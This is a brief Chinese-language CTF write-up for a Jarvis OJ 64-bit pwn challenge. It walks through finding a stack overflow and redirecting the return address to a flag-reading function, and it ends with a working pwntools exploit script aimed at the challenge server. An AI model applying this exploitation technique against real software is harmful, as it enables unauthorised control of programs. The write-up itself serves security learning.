拿到题目前checksec下:
64位,开启了NX。
放到IDA里看下:
就单纯的栈溢出,看下调用哪些函数:
plt表里并没有system函数,也不知道对方使用的动态库的版本。
看到函数good_game:
这个函数会读取flag,那么就很显然了,将返回地址覆盖到这个函数即可。
计算下溢出点:
由于是64位的程序,不能访问大于0x00007fffffffffff的地址空间。
但是可以通过RSP查看。
exp如下:
from pwn import *
a=remote("pwn.jarvisoj.com","9876")
payload='A'*136+p64(0x0000000000400620)
a.recvuntil("\n")
a.send(payload)
a.interactive()